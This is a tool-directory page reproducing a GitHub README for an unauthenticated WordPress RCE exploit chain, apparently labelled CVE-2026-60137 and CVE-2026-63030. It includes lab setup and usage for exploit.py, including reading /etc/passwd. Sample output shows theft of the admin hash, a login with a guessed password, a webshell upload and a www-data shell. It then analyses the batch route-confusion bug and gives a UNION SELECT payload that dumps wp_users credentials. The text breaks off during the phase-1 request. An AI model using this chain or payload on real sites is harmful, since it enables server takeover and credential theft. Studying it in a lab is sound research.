Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-60137_CVE-2026-63030 — WordPress 未认证 RCE 漏洞利用,结合路由混淆与 SQL 注入。提供自动化脚本、实验环境搭建及详细的漏洞分析。 | Kitploit
工具/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

WordPress 未认证 RCE 漏洞利用,结合路由混淆与 SQL 注入。提供自动化脚本、实验环境搭建及详细的漏洞分析。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
212个月前尚未审核
分享

CVE-2026-60137 + CVE-2026-63030 — WordPress 未认证远程代码执行(RCE)

漏洞类型: REST 批处理路由混淆 + WP_Query SQL 注入 → 完整 RCE

CVSS v3.1: 10.0 / 10.0 — 严重 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

受影响版本: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 已修复版本: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

---

## 快速开始

### 1. 搭建漏洞靶场

**要求:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. 运行漏洞利用```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

### 3. 预期输出```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
图片 图片

本仓库中的文件

文件描述
README.md完整的漏洞分析与利用报告
exploit.py自动化利用脚本(零权限 → 一条命令实现 RCE)
docker-compose.yml易受攻击的 WordPress 实验环境
chain-rce.md自动化 RCE 链文档
images/手动利用过程的截图

详细漏洞分析

CVE-2026-60137(与 CVE-2026-63030 链式利用)

漏洞类型: 未认证远程代码执行 — REST 批量路由混淆 + WP_Query SQL 注入

CVSS v3.1: 10.0 / 10.0 — 严重

攻击向量: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. 概述

CVE-2026-60137 是 WordPress 核心中的一个未认证 RCE 漏洞。它将两个独立缺陷组合成一个完整的攻击链,可从零权限实现完全控制服务器:

CVE缺陷在攻击链中的作用
CVE-2026-63030REST 批量路由混淆绕过认证
CVE-2026-60137author__not_in SQL 注入任意数据库读写

受影响版本:

  • 完整 RCE:WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1
  • 仅 SQLi(需要配套插件):6.8.0 – 6.8.5
  • 已修复:6.9.5、7.0.2、7.1-beta2+

利用条件:

  • REST API 对外开放(WordPress 默认)
  • 无持久化对象缓存(默认为无)
  • 至少有 1 篇已发布的文章(默认存在 "Hello World")
  • 完全无需任何账号或会话

→ 绝大多数 WordPress 安装默认即存在漏洞。

2. 术语

REST 批量端点(/wp-json/batch/v1)

允许在单个 HTTP 请求中发送多个 REST API 请求:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

每个子请求都与各自的处理器匹配,并且每个处理器都有自己的 **权限回调**。

### WP_Query — `author__not_in`

核心数据库查询类。`author__not_in` 参数接受一个整数数组,生成如下 SQL 子句:```sql
AND post_author NOT IN (5, 12, 23)

每个元素都会经过 absint() 处理 → 仅保留整数部分。

wp_parse_url()

parse_url() 的包装器。当接收到无效的 URL 时 → 返回 WP_Error。```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

## 3. 根本原因 — Bug A:批量路由混淆(CVE-2026-63030)

**文件:** `wp-includes/rest-api/class-wp-rest-server.php`

### 易受攻击的源代码:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

机制:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

### 为什么 `"///"` 会触发这个 bug?

当 PHP 的 `parse_url()` 遇到 `"///"` 时,它会尝试根据 **RFC 3986** — URL 结构 — 对其进行解析:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

当接收 "///" 时,它会将其解释为:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

PHP 返回结果:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress 将此包装在 wp_parse_url() 中 → 检测到无有效协议、无有效主机、无有意义的路径 → 返回 WP_Error。

wp_parse_url("///") 返回 WP_Error(URL 格式错误)。此错误导致请求在构建 $matches 的循环中被跳过,但在分发循环中并未被跳过 → 数组变得不同步。

4. 根本原因 — Bug B:SQL 注入(CVE-2026-60137)

文件: wp-includes/class-wp-query.php

易受攻击的源代码:```php

class WP_Query { public function get_posts() { global $wpdb;

    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

### 正常(安全)路径:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST 控制器(class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

### 路由混淆路径(易受攻击):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

当批量失同步发生时,请求参数不会经过 REST 控制器 → 原始字符串直接进入 WP_Query → wp_parse_id_list() 存在边界情况绕过 → SQL 注入。

Payload:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

生成的SQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. 为什么要将两个漏洞链式利用?

场景结果
仅利用 Bug A(路由混淆)绕过权限 → 但无处注入
仅利用 Bug B(SQLi)REST 控制器总是强制转换输入 → 无法注入
Bug A + Bug B混淆绕过控制器 → 原始字符串进入 SQL → RCE

单独来看,这两个漏洞都是无害的。只有链式利用时:

  • Bug A:移除了清理层(REST 控制器)
  • Bug B:由于清理被绕过,从而注入 SQL

6. 攻击链分析

阶段 1:路由混淆```

POST /wp-json/batch/v1 Content-Type: application/json

下载工具